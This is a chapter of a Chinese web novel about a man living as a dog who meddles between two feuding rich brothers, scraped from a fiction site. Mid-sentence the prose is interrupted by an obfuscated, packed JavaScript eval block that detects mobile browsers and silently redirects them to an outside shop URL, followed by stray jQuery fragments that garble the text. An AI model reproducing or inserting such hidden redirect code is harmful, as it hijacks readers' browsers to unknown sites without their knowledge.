文趣网 > 都市小说 > 小狗在古早文里驯服F4 > 8. 第 8 章
    但除了这个可能,还会是什么?

    席宁裕绝不可能训练狗来亲近自己。

    为什么偏偏是席宁裕的狗?

    席彦霆蹲下,看着小白亮晶晶的杏仁眼,捏了一下鼻子,“你主人挑衅我,你来安慰我,你这叫二五仔。”

    阮沅白汪:“我明明叫金牌调解员。”

    “给你一个弃暗投明的机会,”席彦霆未压下去的怒气中生出报复心,握住他的前肢提溜起来,拉成长条,“跟我走。”

    阮沅白一惊,后爪紧紧扒在地上,汪汪:“你这个行为才是二五仔,放开我!恩将仇报啊你。”

    “席彦霆。”迟迟不见小白跟上来,席宁裕去而复返,瞧见这一幕,脸色顿时垮了,大步流星走过去,按住席彦霆的肩膀,“什么意思?”

    席彦霆松开狗爪子,直起身来,似笑非笑:“没看到吗?你走了他还留下来安慰我,意思不明显?”

    席宁裕低眸瞪了一眼小白。

    “汪呜!”服了,狗比窦娥冤。

    这俩别改造了,去牢里面针锋相对吧。

    但阮沅白还是往席宁裕身边挪了挪,他才不是那种随随便便的二五狗。

    席宁裕面色稍霁,“你餐前来了就会知道,他是个傻白甜,分不清黑白,对所有人都这样。怎么,在别人那当狗不过瘾,来这找同类了。”

    席彦霆拳头又硬了。

    眼瞅两人又要干上,阮沅白站起来,一爪子拍在席宁裕的膝盖,“听狗的,都别吵了。”

    “……”席宁裕拍了一下他的头,“反了天了,赶紧回去。”

    “哦。”阮沅白抬起另一只爪,偷瞄席宁裕一眼,同样站起来拍了一下席彦霆,扭头哒哒哒跑没影了。

    余下两人四目相对。

    席彦霆:“……”

    席宁裕:“……”

    “胆子真肥,我都走了,还敢亲近他。”车里,席宁裕逮住狗子从头到尾一顿“蹂躏”,“想绝育了是不是?”

    “汪!”又吓唬狗。

    阮沅白追着他的手咬,扭过身子,叼住衣领又撕又扯,爪子在他的肚子上胡乱踩踏,也不知道踩到什么地方,脚下一滑,紧接着头顶响起倒吸冷气的声音。

    下一刻,他被席宁裕掀翻在沙发上,听他低声咒骂了一句。

    诶?

    阮沅白四脚朝上,愣愣地看着席宁裕交叠起双腿,一手按在腿间,一手咬在唇边,强忍痛苦的脸别向窗外,不到三秒又忍不住扭回头来,怒骂他傻狗。

    哦。

    他翻身站起来,欠欠地歪头去捕捉席宁裕的眼睛,“你没事吧?”

    席宁裕斜乜着他,冷冷道:“明天就把你阉了。”

    阮沅白抬起前肢,一副要扑人的架势,席宁裕脸色一变,手快抓住他的两只爪子,拖到腿上固定住,“不许动。”

    嘿嘿。

    阮沅白摇起尾巴,贱兮兮地冲他呲着一口牙。

    席宁裕气笑了,故意的是吧。

    他双腿夹住狗的下肢,一手钳制住狗脖子,另一只手掌包裹吻部和狗鼻子,把小白制服得老老实实,一动也不能动,盯着他的眼睛厉声警告:“以后不许亲近席彦霆。”

    “呜!”又不是我想亲近他,要怪就怪系统。

    系统:“。”

    也怪你自己是个法外狂徒,做个人吧。

    “算了,”席宁裕神色倏然变得阴晦,放开狗子按在大腿上,手在狗背慢慢抚摸,“跟他套套近乎也行。”

    阮沅白不明所以,仰起头,看他嘴脸好像有点阴险,不会要利用我吧?

    不可能,宁死不做帮凶狗。

    今晚没回大别墅,留宿的市中心双层大平层,同样准备了齐全的小狗用品和单独的狗屋。

    阮沅白有点洁癖,进屋后自觉跑去卫生间洗脚。

    出来后屋里安安静静,一个人影也没有。

    他四处走走巡视新领地,遇到房间,先敲两下门,再跳起来掰开门把手,进去溜达一圈。东西当然是又贵又精美,但小土狗不识货,看不出特别之处。

    开到一楼楼梯下的房间,阮沅白刚踏进玄关,迎面遇上来开门的女佣,尴尬了。

    女佣不客气地撸上狗:“原来少爷真的养狗了。”

    误闯是狗的错,撸一分钟以示抱歉。

    一分钟一到,阮沅白挣开女佣的手,麻溜地离开了。

    没再继续探索,他直接摸到席宁裕的卧室,对方靠在床头,手里捧着一本书。

    席宁裕顿住,目视着他大摇大摆进来:“谁教你开门的?”

    作为一只流浪狗,会的有点太多了吧。

    阮沅白一路走走瞧瞧,抽空汪:“我天生就会。”

    席宁裕摘下眼镜,合起书放在一旁,饶有兴趣地观察他。路过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909668|213086||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    床却不沾染,攀上桌面却一样东西不碰,再好奇也只是观摩两眼,倒是很懂规矩。

    没想到讥讽席小五的话一语成谶,这狗似乎真的知道什么该碰,什么不该碰,有意思。

    等阮沅白溜回到床边,对上他的眼神,歪头,耳朵尖动了动,看啥?

    一人一狗无声对视片刻,阮沅白挑了一下头,汪:“你继续看书吧,我不会影响你。”

    说完他转身趴上榻榻米,打了一个哈欠,叼过抱枕睡了上去,狗也困了。

    席宁裕莫名从那个挑头的动作里看出江湖气,那种两个混的人碰面,不说话,互相挑下巴当作招呼,或者达成某种心照不宣的意图。

    奇了这狗。他没养过狗,不确定狗的上限究竟有多高,但也清楚,一切超出本能范围的行为,必然是训练的结果。

    小白真的是流浪狗?

    席宁裕原本计划找个训犬师,教小白一些规矩,现在看来大可不必。

    他注视着那只睡得打起呼噜的狗,略一思索,放弃了把他抱出卧室的想法,不睡一张床,其他的都是小事。

    他也想看看,这只狗是不是真的这么懂规矩。

    翌日清早,席宁裕一如往常起床,榻榻米已经没了小白的狗影。这一晚确实安生。

    特意找了找,此狗趴在阳台晒太阳,晨风撩动他浑身的毛发,像一片浪,从蓬松的颈毛,涌到时不时摆一下的芦苇尾巴。

    悠闲,自在,又像在吸收旭日之精华,准备修仙成精。

    席宁裕闷声笑了下,没管他,自顾进卫生间洗漱。没多久,门板突然哐哐响。

    会在这时候找他的只有小白。

    居然还知道进卫生间要敲门。

    门一开,小白连推带咬,把一把比他高的板凳拖到马桶边,上下左右校准位置,跳上去,调转方向,屁股对准马桶,半蹲,神情严肃。

    噗通一声。

    “……”

    就算是狗,被人盯着上厕所也会羞耻好吧。

    阮沅白一言难尽,四只爪子快缩到一快,身体略显局促,忍无可忍冲席宁裕嚎了一嗓子:“看啥?没看过狗拉屎啊?”

    席宁裕含着牙刷迟迟忘记反应,泡沫干糊在唇边,像一圈白胡子,配上呆滞的表情,显得有点滑稽。

    一只流浪狗,知道搬凳子到马桶前上厕所,上完还知道冲水。

    成精了吧?